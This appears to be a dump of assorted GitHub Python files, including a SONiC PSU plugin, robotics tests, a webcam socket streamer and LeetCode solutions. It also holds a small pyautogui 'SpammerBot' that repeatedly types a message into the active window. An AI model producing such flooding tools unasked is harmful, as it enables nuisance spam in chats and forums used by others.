+{"seq_id":"39109327904","text":"#\n# psuutil.py\n# Platform-specific PSU status interface for SONiC\n#\n\n\nimport os.path\nimport subprocess\nimport logging\nfrom sonic_py_common.general import check_output_pipe\n\ntry:\n    from sonic_psu.psu_base import PsuBase\nexcept ImportError as e:\n    raise ImportError(str(e) + \"- required module not found\")\n\nDEBUG = False\n\n\ndef show_log(txt):\n    if DEBUG == True:\n        print(\"[IX2]\"+txt)\n    return\n\n\ndef exec_cmd(cmd_args, out_file, show):\n    cmd = ' '.join(cmd_args) + ' > ' + out_file\n    logging.info('Run :'+cmd)\n    try:\n        with open(out_file, 'w') as f:\n            output = subprocess.check_output(cmd_args, stdout=f, universal_newlines=True)\n            show_log(cmd + \"output:\"+str(output))\n    except subprocess.CalledProcessError as e:\n        logging.info(\"Failed :\"+cmd)\n        if show:\n            print(\"Failed :\"+cmd + \"returncode = {}, err msg: {}\".format(e.returncode, e.output))\n    return output\n\n\ndef my_log(txt):\n    if DEBUG == True:\n        print(\"[QUANTA DBG]: \"+txt)\n    return\n\n\ndef log_os_system(cmd1_args, cmd2_args, show):\n    cmd = ' '.join(cmd1_args) + ' | ' + ' '.join(cmd2_args)\n    logging.info('Run :'+cmd)\n    status = 1\n    output = \"\"\n    try:\n        output = check_output_pipe(cmd1_args, cmd2_args)\n        my_log(cmd + \"output:\"+str(output))\n    except subprocess.CalledProcessError as e:\n        logging.info('Failed :'+cmd)\n        if show:\n            print(\"Failed :\"+cmd + \"returncode = {}, err msg: {}\".format(e.returncode, e.output))\n    return output\n\n\ndef gpio16_exist():\n    ls = log_os_system([\"ls\", \"/sys/class/gpio/\"], [\"grep\", \"gpio16\"], 0)\n    logging.info('mods:'+ls)\n    if len(ls) == 0:\n        return False\n\n\ndef gpio17_exist():\n    ls = log_os_system([\"ls\", \"/sys/class/gpio/\"], [\"grep\", \"gpio17\"], 0)\n    logging.info('mods:'+ls)\n    if len(ls) == 0:\n        return False\n\n\ndef gpio19_exist():\n    ls = log_os_system([\"ls\", \"/sys/class/gpio/\"], [\"grep\", \"gpio19\"], 0)\n    logging.info('mods:'+ls)\n    if len(ls) == 0:\n        return False\n\n\ndef gpio20_exist():\n    ls = log_os_system([\"ls\", \"/sys/class/gpio/\"], [\"grep\", \"gpio20\"], 0)\n    logging.info('mods:'+ls)\n    if len(ls) == 0:\n        return False\n\n\nclass PsuUtil(PsuBase):\n    \"\"\"Platform-specific PSUutil class\"\"\"\n\n    SYSFS_PSU_PRESENT_DIR = [\"/sys/class/gpio/gpio16\",\n                             \"/sys/class/gpio/gpio19\"]\n\n    SYSFS_PSU_POWERGOOD_DIR = [\"/sys/class/gpio/gpio17\",\n                               \"/sys/class/gpio/gpio20\"]\n\n    def __init__(self):\n        PsuBase.__init__(self)\n\n        if gpio16_exist() == False:\n            output = exec_cmd([\"echo\", \"16\"], \"/sys/class/gpio/export\", 1)\n            output = exec_cmd([\"echo\", \"in\"], \"/sys/class/gpio/gpio16/direction\", 1)\n\n        if gpio17_exist() == False:\n            output = exec_cmd([\"echo\", \"17\"], \"/sys/class/gpio/export\", 1)\n            output = exec_cmd([\"echo\", \"in\"], \"/sys/class/gpio/gpio17/direction\", 1)\n\n        if gpio19_exist() == False:\n            output = exec_cmd([\"echo\", \"19\"], \"/sys/class/gpio/export\", 1)\n            output = exec_cmd([\"echo\", \"in\"], \"/sys/class/gpio/gpio19/direction\", 1)\n\n        if gpio20_exist() == False:\n            output = exec_cmd([\"echo\", \"20\"], \"/sys/class/gpio/export\", 1)\n            output = exec_cmd([\"echo\", \"in\"], \"/sys/class/gpio/gpio20/direction\", 1)\n\n    # Get sysfs attribute\n    def get_attr_value(self, attr_path):\n\n        retval = 'ERR'\n        if (not os.path.isfile(attr_path)):\n            return retval\n\n        try:\n            with open(attr_path, 'r') as fd:\n                retval = fd.read()\n        except Exception as error:\n            logging.error(\"Unable to open \", attr_path, \" file !\")\n\n        retval = retval.rstrip('\\r\\n')\n        return retval\n\n    def get_num_psus(self):\n        \"\"\"\n        Retrieves the number of PSUs available on the device\n        :return: An integer, the number of PSUs available on the device\n         \"\"\"\n        MAX_PSUS = 2\n        return MAX_PSUS\n\n    def get_psu_status(self, index):\n        \"\"\"\n        Retrieves the oprational status of power supply unit (PSU) defined\n                by index <index>\n        :param index: An integer, index of the PSU of which to query status\n        :return: Boolean, True if PSU is operating properly, False if PSU is\\\n        faulty\n        \"\"\"\n        status = 0\n        attr_file = 'value'\n        attr_path = self.SYSFS_PSU_POWERGOOD_DIR[index-1] + '/' + attr_file\n\n        attr_value = self.get_attr_value(attr_path)\n\n        if (attr_value != 'ERR'):\n            attr_value = int(attr_value, 16)\n            # Check for PSU status\n            if (attr_value == 1):\n                status = 1\n\n        return status\n\n    def get_psu_presence(self, index):\n        \"\"\"\n        Retrieves the presence status of power supply unit (PSU) defined\n                by index <index>\n        :param index: An integer, index of the PSU of which to query status\n        :return: Boolean, True if PSU is plugged, False if not\n        \"\"\"\n        status = 0\n        psu_absent = 0\n        attr_file = 'value'\n        attr_path = self.SYSFS_PSU_PRESENT_DIR[index-1] + '/' + attr_file\n\n        attr_value = self.get_attr_value(attr_path)\n\n        if (attr_value != 'ERR'):\n            attr_value = int(attr_value, 16)\n            # Check for PSU presence\n            if (attr_value == 0):\n                status = 1\n\n        return status\n","repo_name":"sonic-net/sonic-buildimage","sub_path":"device/quanta/x86_64-quanta_ix1b_rglbmc-r0/plugins/psuutil.py","file_name":"psuutil.py","file_ext":"py","file_size_in_byte":5393,"program_lang":"python","lang":"en","doc_type":"code","stars":614,"dataset":"github-code","pt":"60"}
+{"seq_id":"74758042432","text":"#!/usr/bin/python\n\nfrom math import *\nimport sys\n\nif len(sys.argv) != 2:\n   sys.stderr.write(\"Need exactly one command line argument (output file name)\")\n   sys.exit(1)\n\nkeyboard = \"\"\"\n`1234567890-=\n qwertyuiop[]\n asdfghjkl;'\\\\\n  zxcvbnm,./\"\"\"\nshifted = \"\"\"\n~!@#$%^&*()_+\n QWERTYUIOP{}\n ASDFGHJKL:\"|\n  ZXCVBNM<>?\"\"\"\n\nshifted  = [list(l) for l in shifted.splitlines()[1:]]\nkeyboard = [list(l) for l in keyboard.splitlines()[1:]]\n\n# find the position of a character on the keyboard\ndef findpos(c):\n   for i, row in enumerate(keyboard):\n      if c in row:\n         return (i, row.index(c), 'k')\n   for i, row in enumerate(shifted):\n      if c in row:\n         return (i, row.index(c), 's')\n   return False\n\ncharrange = list(range(ord(' '), ord('~') + 1))\n\noffset = 2\n\nmatrix = [ list(charrange) for n in charrange ]\n\nfor n in charrange:\n   #print chr(n).ljust(2),\n   for m in charrange:\n      if m == ord(' ') and n == ord(' '):\n         matrix[0][0] = 3\n         continue\n      if m == ord(' ') or n == ord(' '):\n         matrix[n-ord(' ')][m-ord(' ')] = -3\n         matrix[m-ord(' ')][n-ord(' ')] = -3\n         continue\n      N = findpos(chr(n))\n      M = findpos(chr(m))\n      dist = int(floor(sqrt((N[0]-M[0])**2 + (N[1]-M[1])**2)))\n      if N[2] != M[2]:\n         dist += 1\n      matrix[m-ord(' ')][n-ord(' ')] = offset - dist\n      matrix[n-ord(' ')][m-ord(' ')] = offset - dist\n\noutput = open(sys.argv[1],'w')\noutput.write(\"/* This file is automatically generated - do not edit */\\n\")\noutput.write(\"int qwertyDistanceSimilarity(char a, char b){\\n\")\noutput.write(\"    char qwertyDist[1 + '~' - ' '][1 + '~' - ' '] = {{\" + ( '},\\n    {'.join(','.join(str(c) for c in n) for n in matrix) ) + '}};\\n')\noutput.write(\"    return qwertyDist[a-' '][b-' '];\\n}\\n\");\n\noutput.close()\n\n","repo_name":"grodtron/NeedlemanWunsch","sub_path":"src/makeQwertyDistance.py","file_name":"makeQwertyDistance.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"29545890928","text":"import string\r\nfrom tkinter import *\r\nfrom tkinter import messagebox\r\nimport time\r\nimport pyautogui\r\n\r\n\r\n\r\n\r\nwin = Tk()\r\n\r\nwin.geometry(\"701x500\")\r\nwin.configure(bg = \"#ffffff\")\r\nwin.title(\"Spammer\")\r\n\r\n\r\nspam_img = PhotoImage(file=\"spam.png\")\r\nwin.iconphoto(False, spam_img)\r\n\r\ncanvas = Canvas(\r\n    win,\r\n    bg = \"#ffffff\",\r\n    height = 500,\r\n    width = 701,\r\n    bd = 0,\r\n    highlightthickness = 0,\r\n    relief = \"ridge\")\r\ncanvas.place(x = 0, y = 0)\r\n\r\nbackground_img = PhotoImage(file = f\"background.png\")\r\nbackground = canvas.create_image(\r\n    378.0, 147.0,\r\n    image=background_img)\r\n\r\nentry0_img = PhotoImage(file = f\"img_textBox0.png\")\r\nentry0_bg = canvas.create_image(\r\n    362.0, 231.0,\r\n    image = entry0_img)\r\n\r\nentry0 = Entry(\r\n    bd = 0,\r\n    bg = \"#feecec\",\r\n    highlightthickness = 0)\r\n\r\nentry0.place(\r\n    x = 267.0, y = 201,\r\n    width = 190.0,\r\n    height = 58)\r\n\r\nentry1_img = PhotoImage(file = f\"img_textBox1.png\")\r\nentry1_bg = canvas.create_image(\r\n    362.0, 332.0,\r\n    image = entry1_img)\r\n\r\nentry1 = Entry(\r\n    bd = 0,\r\n    bg = \"#feecec\",\r\n    highlightthickness = 0)\r\n\r\nentry1.place(\r\n    x = 267.0, y = 302,\r\n    width = 190.0,\r\n    height = 58)\r\n\r\nentry2_img = PhotoImage(file = f\"img_textBox2.png\")\r\nentry2_bg = canvas.create_image(\r\n    362.0, 130.0,\r\n    image = entry2_img)\r\n\r\nentry2 = Entry(\r\n    bd = 0,\r\n    bg = \"#feecec\",\r\n    highlightthickness = 0)\r\n\r\nentry2.place(\r\n    x = 267.0, y = 100,\r\n    width = 190.0,\r\n    height = 58)\r\n\r\n\r\ndef label():\r\n    response = messagebox.askokcancel(title=\"Spam!\", message=f\"The app will spam {entry2.get()} {entry0.get()} times after 5 seconds do you wish to proceed?\")\r\n\r\n\r\n\r\n    \r\n    i=0\r\n    if response == True:\r\n        for i in range(int(entry0.get())):\r\n            \r\n            if str(entry1.get()) == \"\":\r\n                messagebox.showerror(title=\"Error!\",message=\"You have to write a number in the delay box if you don't want a delay you can write 0!\")\r\n                \r\n            if type(entry1.get()) == string:\r\n                messagebox.showerror(title=\"Error!\",message=\"You have to write a number in the delay1!\")\r\n            else:\r\n                time.sleep(5)\r\n                pyautogui.write(f\"{i}, {entry2.get()}\")\r\n                float(entry1.get())\r\n                time.sleep(float(entry1.get()))\r\n                \r\n\r\n            pyautogui.press(\"enter\")\r\n            i+=1\r\n\r\n\r\n    elif response == False:\r\n        pass\r\n\r\n\r\nimg0 = PhotoImage(file = f\"img0.png\")\r\nb0 = Button(\r\n    image = img0,\r\n    borderwidth = 0,\r\n    highlightthickness = 0,\r\n    command = label,\r\n    relief = \"flat\")\r\n\r\nb0.place(\r\n    x = 260, y = 403,\r\n    width = 166,\r\n    height = 45)\r\n\r\nwin.resizable(False, False)\r\nwin.mainloop()\r\n","repo_name":"abodi555e/SpammerBot","sub_path":"window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34904650774","text":"from src import create_game, play_a_turn\n\nif __name__ == \"__main__\":\n    players, deck = create_game()\n\n    history = []\n    auctioneer = 0\n    \n    for top_card in deck:\n        history.append(\n            play_a_turn(\n                players(auctioneer),\n                [i for i in players if i != auctioneer],\n                top_card\n            )\n        )\n    \n    # save history:\n    with open(r'history.txt', 'w') as fp:\n        for item in history:\n            fp.write(\"%s\\n\" % item)\n    \n    print('Done')\n","repo_name":"Cartar/game-simulator","sub_path":"archive/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43547704077","text":"import os\nimport cv2\nimport socket\nfrom sys import argv, platform\nfrom time import sleep\nfrom struct import pack\nfrom pickle import dumps\nfrom threading import Thread\nfrom numpy import zeros, uint8\n\nwhite = (255, 255, 255)\n\nserver = None\nrtsp_clients = []\n\ndef rtsp_setup(port):\n    address = os.environ[\"HOSTNAME\"]\n    print(address, port)\n    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    server.bind((\"\", port))\n    server.listen(10)\n    return server\n\ndef main():\n    global server\n\n    # set defaults args\n    cap_indx = 0\n    port = 8089\n    output_size = (480, 640)\n\n    # set args if passed\n    if len(argv) == 4:\n        cap_indx = int(argv[1])\n        port = int(argv[2])\n        size = argv[3].split(\"x\")\n        output_size = (int(size[1]), int(size[0]))\n\n    cap = cv2.VideoCapture(cap_indx)\n\n    server = rtsp_setup(port)\n\n    clientLookup = RTSPClientLookup()\n    clientLookup.start()\n\n    while True:\n        ret, img = cap.read()\n\n        if ret == False and img is None:\n            # don't send any data unless you have a stream\n            cap.release() # release\n            cap = cv2.VideoCapture(cap_indx) # retry\n            cv2.waitKey(1)\n            continue\n        else:\n            img = cv2.flip(img, 1)\n\n        # resized to desired shape\n        if img.shape[0] != output_size[0] or img.shape[1] != output_size[1]: \n            img = cv2.resize(img, output_size)\n\n        data = dumps(img)\n        \n        for client in rtsp_clients:\n            try:\n                client[0].sendall(pack(\"L\", len(data)) + data)\n            except Exception as err:\n                rtsp_clients.remove(client)\n                print(\"Connections dropped: \", client[1], err)\n                client[0].close()\n        # mandatory for resource conservation\n        cv2.waitKey(1)\n    # stop looking for new clients\n    clientLookup.stop()\n\n# Lookup for new clients to stream to\n# This is standard boiler plate code\nclass RTSPClientLookup(Thread):\n    def __init__(self):\n        self.running = True\n        super(RTSPClientLookup, self).__init__(name = \"RTSP Client Lookup\")\n\n    def stop(self): self.running = False\n\n    def run(self):\n        global server\n        global rtsp_clients\n\n        try:\n            while self.running:\n                try:\n                    if len(rtsp_clients) <= 5:\n                        conn, addr = server.accept()\n                        print(\"Connection established to:\", addr)\n                        rtsp_clients.append((conn, addr))\n                except:\n                    print(\"Server connection dropped\")\n        except Exception as err:\n            print(\"RTSP Client Lookup Thread stopped:\", str(err))\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"adrianvellamlt/homeio-webcam-over-ip","sub_path":"__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17193513075","text":"\n#the dish must start and end with the same letters as the animal's name\n#o prato deve começar e terminar com as mesmas letras do nome do animal\n#chickadee is bringing chocolate cake\n\n\ndef feast(animal_name, dish):\n\tfirst_letter_animal = animal_name[0:1]\n\tlast_letter_animal = animal_name[-1:]\n\tfirst_letter_dish = dish[0:1]\n\tlast_letter_dish = dish[-1:]\n\ttest = first_letter_dish == first_letter_animal and last_letter_dish == last_letter_animal\n\treturn test\n\n","repo_name":"thiago-abc/code-wars","sub_path":"animal_feast.py","file_name":"animal_feast.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"26395064262","text":"import gym\nimport robo_gym\nimport math\nimport numpy as np \nimport pytest\n\nur_models = [pytest.param('ur3', marks=pytest.mark.nightly), \\\n             pytest.param('ur3e', marks=pytest.mark.nightly), \\\n             pytest.param('ur5', marks=pytest.mark.commit), \\\n             pytest.param('ur5e', marks=pytest.mark.nightly), \\\n             pytest.param('ur10', marks=pytest.mark.nightly), \\\n             pytest.param('ur10e', marks=pytest.mark.nightly), \\\n             pytest.param('ur16e', marks=pytest.mark.nightly), \\\n]\n\n@pytest.fixture(scope='module', params=ur_models)\ndef env(request):\n    env = gym.make('EmptyEnvironmentURSim-v0', ip='robot-servers', ur_model=request.param, fix_wrist_3=True)\n    env.request_param = request.param\n    yield env\n    env.kill_sim()\n\n@pytest.mark.commit \ndef test_initialization(env):\n    assert env.ur.model == env.request_param\n    env.reset()\n    done = False\n    env.step([0,0,0,0,0])\n    for _ in range(10):\n        if not done:\n            action = env.action_space.sample()\n            observation, _, done, _ = env.step(action)\n\n    assert env.observation_space.contains(observation)\n\n@pytest.mark.commit \n@pytest.mark.flaky(reruns=3)\ndef test_self_collision(env):\n    collision_joint_config = {'ur3': [0.0, 0.0, -3.14, -1.77, 1.0], \\\n                              'ur3e': [0.0, -1.88, 2.8, -0.75, -1.88], \\\n                              'ur5': [0.0, -1.26, -3.14, 0.0, 0.0], \\\n                              'ur5e': [0.0, -0.50, -3.14, 3.14, 0.0], \\\n                              'ur10': [0.0, -1.5, 3.14, 0.0, 0.0], \\\n                              'ur10e': [0.0, -0.15, -2.83, -2.51, 1.63], \\\n                              'ur16e': [0.0, -1.15, 2.9, -0.19, 0.42]}\n    env.reset()\n    action = env.ur.normalize_joint_values(collision_joint_config[env.ur.model])\n    done = False\n    while not done:\n        _, _, done, info = env.step(action)    \n    assert info['final_status'] == 'collision'\n\n@pytest.mark.commit \n@pytest.mark.flaky(reruns=3)\ndef test_collision_with_ground(env):\n    collision_joint_config = {'ur3': [0.0, 2.64, -1.95, -2.98, 0.41], \\\n                              'ur3e': [1.13, 1.88, -2.19, -3.43, 2.43], \\\n                              'ur5': [0.0, 1.0, 1.8, 0.0, 0.0], \\\n                              'ur5e': [0.0, 3.52, -2.58, 0.0, 0.0], \\\n                              'ur10': [0.0, 1.0, 1.15, 0.0, 0.0], \\\n                              'ur10e': [-2.14, -0.13, 0.63, -1.13, 1.63], \\\n                              'ur16e': [0.0, -0.15, 1.32, 0.0, 1.63]}\n    env.reset()\n    action = env.ur.normalize_joint_values(collision_joint_config[env.ur.model])\n    done = False\n    while not done:\n        _, _, done, info = env.step(action)    \n    assert info['final_status'] == 'collision'\n\n@pytest.mark.commit     \ndef test_reset_joint_positions(env):\n   joint_positions =  [0.2, -2.5, 1.1, -2.0, -1.2, 1.2]\n\n   state = env.reset(joint_positions = joint_positions)\n   assert np.isclose(env.ur.normalize_joint_values(joint_positions), state[0:6], atol=0.1).all()\n\n\ntest_ur_fixed_joints = [\n    ('EmptyEnvironmentURSim-v0', True, False, False, False, False, False, 'ur3'), # fixed shoulder_pan\n    ('EmptyEnvironmentURSim-v0', False, True, False, False, False, False, 'ur3e'), # fixed shoulder_lift\n    ('EmptyEnvironmentURSim-v0', False, False, False, False, False, True, 'ur5'), # fixed wrist_3\n    ('EmptyEnvironmentURSim-v0', True, False, True, False, False, False, 'ur5e'), # fixed Base and Elbow\n    ('EmptyEnvironmentURSim-v0', False, False, True, False, False, False, 'ur10'), # fixed elbow\n    ('EmptyEnvironmentURSim-v0', False, False, False, True, False, False, 'ur10e'), # fixed wrist_1\n    ('EmptyEnvironmentURSim-v0', False, False, False, False, True, False, 'ur16e'), # fixed wrist_2\n]\n\n@pytest.mark.nightly\n@pytest.mark.parametrize('env_name, fix_base, fix_shoulder, fix_elbow, fix_wrist_1, fix_wrist_2, fix_wrist_3, ur_model', test_ur_fixed_joints)\n@pytest.mark.flaky(reruns=3)\ndef test_fixed_joints(env_name, fix_base, fix_shoulder, fix_elbow, fix_wrist_1, fix_wrist_2, fix_wrist_3, ur_model):\n    env = gym.make(env_name, ip='robot-servers', fix_base=fix_base, fix_shoulder=fix_shoulder, fix_elbow=fix_elbow, \n                                                fix_wrist_1=fix_wrist_1, fix_wrist_2=fix_wrist_2, fix_wrist_3=fix_wrist_3, ur_model=ur_model)\n    state = env.reset()\n    initial_joint_positions = state[0:6]\n    # Take 20 actions\n    action = env.action_space.sample()\n    for _ in range(20):\n        state, _, _, _ = env.step(action)\n    joint_positions = state[0:6]\n\n    if fix_base:\n        assert math.isclose(initial_joint_positions[0], joint_positions[0], abs_tol=0.05)\n    if fix_shoulder:\n        assert math.isclose(initial_joint_positions[1], joint_positions[1], abs_tol=0.05)\n    if fix_elbow:\n        assert math.isclose(initial_joint_positions[2], joint_positions[2], abs_tol=0.05)\n    if fix_wrist_1:\n        assert math.isclose(initial_joint_positions[3], joint_positions[3], abs_tol=0.05)\n    if fix_wrist_2:\n        assert math.isclose(initial_joint_positions[4], joint_positions[4], abs_tol=0.05)\n    if fix_wrist_3:\n        assert math.isclose(initial_joint_positions[5], joint_positions[5], abs_tol=0.05)\n\n    env.kill_sim()","repo_name":"jr-robotics/robo-gym","sub_path":"tests/robo-gym/envs/ur/test_ur_base_env.py","file_name":"test_ur_base_env.py","file_ext":"py","file_size_in_byte":5235,"program_lang":"python","lang":"en","doc_type":"code","stars":351,"dataset":"github-code","pt":"60"}
+{"seq_id":"21923429009","text":"# Compiles statistics on ConLL-U files\n# Usage: python stats.py -i <corpus_dir> -o <output_dir> -e <encoding>\n\nimport os, argparse\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport re\n# Can't use `conllu` module because it doesn't support multiple heads\n\n# Defaults\nINPUT_DIR = 'conllu'\nOUTPUT_DIR = 'tex'\nENCODING = 'utf-8'\nMEANS_FILE = 'stats_means.tex'\nTOTALS_FILE = 'stats_totals.tex'\n\ndef get_stats(file, encoding=ENCODING, meta={}):\n    stats = []\n    init_sent = {'tokens': 0, 'sentences': 0}\n    with open(file, 'r', encoding=encoding) as f:\n        lines = f.readlines()\n        sent = init_sent.copy()\n        for line in lines:\n            if not line.strip():\n                sent['toks_per_sent'] = sent['tokens'] / sent['sentences']\n                sent.update(meta)\n                stats.append(sent)\n                sent = init_sent.copy()\n            elif line.startswith('#'):\n                feat, value = line[1:].split('=', 1)\n                sent[feat.strip()] = value.strip()\n            elif line.split('\\t', 2)[1] == '<SENT>':\n                sent['sentences'] += 1\n            elif line.split('\\t', 2)[1] == '.':\n                sent['tokens'] += 1\n                sent['sentences'] += 1\n            else:\n                sent['tokens'] += 1\n    return pd.DataFrame(stats)\n\ndef main(corpus=INPUT_DIR, encoding=ENCODING):\n    stats = pd.DataFrame()\n    splits = [f for f in os.listdir(corpus) if os.path.isdir(os.path.join(corpus, f))]\n    for split in splits:\n        files = [f for f in os.listdir(os.path.join(corpus, split)) if f.endswith('.conllu')]\n        for file in files:\n            order, layer = re.match(r'(\\d+)-(\\w+)\\.conllu', file).groups()\n            order = int(order)\n            path = os.path.join(corpus, split, file)\n            meta = {'split': split, 'file': file, 'layer': layer, 'order': order}\n            file_stats = get_stats(path, encoding, meta)\n            stats = pd.concat([stats, file_stats], ignore_index=True)\n    return stats\n\n# Execute from command line\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description='Compiles statistics on ConLL-U files')\n    parser.add_argument('-i', '--input', help='Directory where .conllu files reside', default=INPUT_DIR)\n    parser.add_argument('-o', '--output', help='Directory where to save the statistics in LaTeX', default=OUTPUT_DIR)\n    parser.add_argument('-e', '--encoding', help='Character encoding (same for all input and output files)', default=ENCODING)\n    args = parser.parse_args()\n\n    print(f\"Compiling statistics for `{args.input}`...\")\n    stats = main(args.input, args.encoding)\n    stats['Layer'] = stats['file'].str.split('-').str[1].str.split('.').str[0]\n    stats = stats[['Layer', 'tokens', 'sentences', 'toks_per_sent', 'order']]\n    \n    stats_mean = stats.groupby(['Layer']).mean().round(1).sort_values(by='order')\n    stats_mean.drop(['order'], axis=1, inplace=True)\n    stats_mean.columns = ['Tokens', 'Sentences', 'Tokens/Sentence']\n    stats_mean.reset_index(inplace=True)\n    stats_mean.style.to_latex(os.path.join(args.output, MEANS_FILE))\n    print(f\"  saved `{args.output}/{MEANS_FILE}`\")\n\n    stats_total = stats.groupby(['Layer']).sum().sort_values(by='order')\n    stats_total.drop(['order', 'toks_per_sent'], axis=1, inplace=True)\n    stats_total.columns = ['Tokens', 'Sentences']\n    stats_total.reset_index(inplace=True)\n    stats_total.style.to_latex(os.path.join(args.output, TOTALS_FILE))\n    print(f\"  saved `{args.output}/{TOTALS_FILE}`\")\n\n# FOR DEV USE ONLY\n# class Args():\n#     input = '../conllu'\n#     output = '../tex'\n#     encoding = 'utf-8'\n# args = Args()","repo_name":"mille-s/Mod-D2T","sub_path":"scripts/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":3663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41275646612","text":"import unittest\nfrom check_eleven import check_eleven_\n\nclass TestCheckEleven(unittest.TestCase):\n\n    def test_obvious(self):\n        y = 0\n        divisor = 11\n        while y < 25000:\n            #if there is no remainder after division\n            if y % divisor == 0:\n                #it is divisible by ___ and should be rejected\n                self.assertTrue(check_eleven_(str(y)))\n            else:\n                #otherwise it should not be eliminated, (aka remain a candidate)\n                self.assertFalse(check_eleven_(str(y)))\n            y+=1\n\n    def test_long(self):\n        self.assertFalse(check_eleven_('123456789100987654321'))\n        self.assertFalse(check_eleven_('1234567891234567899'))\n        self.assertTrue(check_eleven_('135802468010'))\n        self.assertTrue(check_eleven_('1358024680358024679'))\n        \n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"PrimeNumbers/primes_search","sub_path":"test_check_eleven.py","file_name":"test_check_eleven.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"8553558725","text":"# Definition for a binary tree node.\nclass TreeNode(object):\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\n\nclass Solution(object):\n    \"\"\"\n二叉树数据结构TreeNode可用来表示单向链表（其中left置空，right为下一个链表节点）。\n实现一个方法，把二叉搜索树转换为单向链表，要求依然符合二叉搜索树的性质，\n转换操作应是原址的，也就是在原始的二叉搜索树上直接修改。\n返回转换后的单向链表的头节点。\n注意：本题相对原题稍作改动\n输入： [4,2,5,1,3,null,6,0]\n输出： [0,null,1,null,2,null,3,null,4,null,5,null,6]\n        4\n    2       5\n  1   3   N   6\n0\n提示：\n节点数量不会超过 100000。\n链接：https://leetcode-cn.com/problems/binode-lcci\n    \"\"\"\n    def convertBiNode(self, root):\n        \"\"\"\n        :type root: TreeNode\n        :rtype: TreeNode\n        \"\"\"\n        if not root:\n            return None\n\n        def dfs():  # 中序遍历\n            que, p = [], root\n            while que or p:\n                while p:\n                    que.append(p)\n                    p = p.left\n                p = que.pop()\n                rec.append(p)\n                p = p.right\n\n        rec = []\n        dfs()\n        for i in range(len(rec) - 1):\n            rec[i].left = None\n            rec[i].right = rec[i + 1]\n        rec[-1].left = rec[-1].right = None\n        return rec[0]\n\n\ndef create(nums):\n    if not nums:\n        return None\n    root = TreeNode(nums.pop(0))\n    que = [root]\n    while que:\n        node = que.pop(0)\n        left = nums.pop(0) if nums else None\n        right = nums.pop(0) if nums else None\n        node.left = TreeNode(left) if left is not None else None\n        node.right = TreeNode(right) if right is not None else None\n        if node.left:\n            que.append(node.left)\n        if node.right:\n            que.append(node.right)\n    return root\n\n\ndef main():\n    nums = [4, 2, 5, 1, 3, None, 6, 0]\n    root = create(nums)\n    test = Solution()\n    ret = test.convertBiNode(root)\n    print(ret)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Jackyzzk/Cracking-the-Coding-Interview-6","sub_path":"py-程序员面试金典-面试题 17.12. BiNode.py","file_name":"py-程序员面试金典-面试题 17.12. BiNode.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11516391888","text":"# -- coding: utf-8 --\n# Count the Number of Nodes in Binary Tree using DFS and BFS\n# 用dfs和bfs来计算二叉树有多少个节点\n\n# 我们拿���根节点然后 + 左边所有节点数 + 右边所有节点数 = 总数\n# 其实到这我们也应该能感觉到了 这种不断深入去查找计数等等的尝试的 都可以用dfs 也就是不断深入尝试\ndef countWithDfs(root):\n    if root is None:\n        return 0\n    return 1 + countWithDfs(root.left) + countWithDfs(root.right)\n\n\n# bfs 就是要用队列 没别的说的\ndef countWithBfs(root):\n    if root is None:\n        return 0\n    q = [root]\n    ans = 0\n    while len(q) > 0:\n        p = q.pop(0)\n        ans += 1\n        if p.left:\n            q.append(p.left)\n        if p.right:\n            q.append(p.right)\n    return ans\n","repo_name":"Ander456/py_program","sub_path":"day34.py","file_name":"day34.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40024514237","text":"from typing import List\n\n\nclass Solution:\n    def nearestValidPoint(self, x: int, y: int, points: List[List[int]]) -> int:\n        answer = -1\n        distance = float(\"inf\")\n        for i, (a, b) in enumerate(points):\n            if a == x or b == y:\n                cur = abs(a - x) + abs(b - y)\n                if cur < distance:\n                    distance = cur\n                    answer = i\n        return answer\n","repo_name":"yqkcn/leetcode","sub_path":"find-nearest-point-that-has-the-same-x-or-y-coordinate.py","file_name":"find-nearest-point-that-has-the-same-x-or-y-coordinate.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"4614077849","text":"# Given a string containing digits from 2-9 inclusive, return all possible letter combinations that the number could represent. Return the answer in any order.\n# A mapping of digit to letters (just like on the telephone buttons) is given below. Note that 1 does not map to any letters.\n# # https://leetcode-cn.com/problems/letter-combinations-of-a-phone-number/description/\nclass Solution:\n    def letterCombinations(self, digits: str) -> List[str]:\n        phoneMap = {\n            '2':['a','b','c'],\n            '3':['d','e','f'],\n            '4':['g','h','i'],\n            '5':['j','k','l'],\n            '6':['m','n','o'],\n            '7':['p','q','r','s'],\n            '8':['t','u','v'],\n            '9':['w','x','y','z'],\n        }\n        if len(digits)==0 or not digits:\n            return []\n\n        res = []\n\n        def backtrack(combination, nextdigits):\n            if len(combination)==len(digits):\n                res.append(combination)\n            else:\n                for letter in 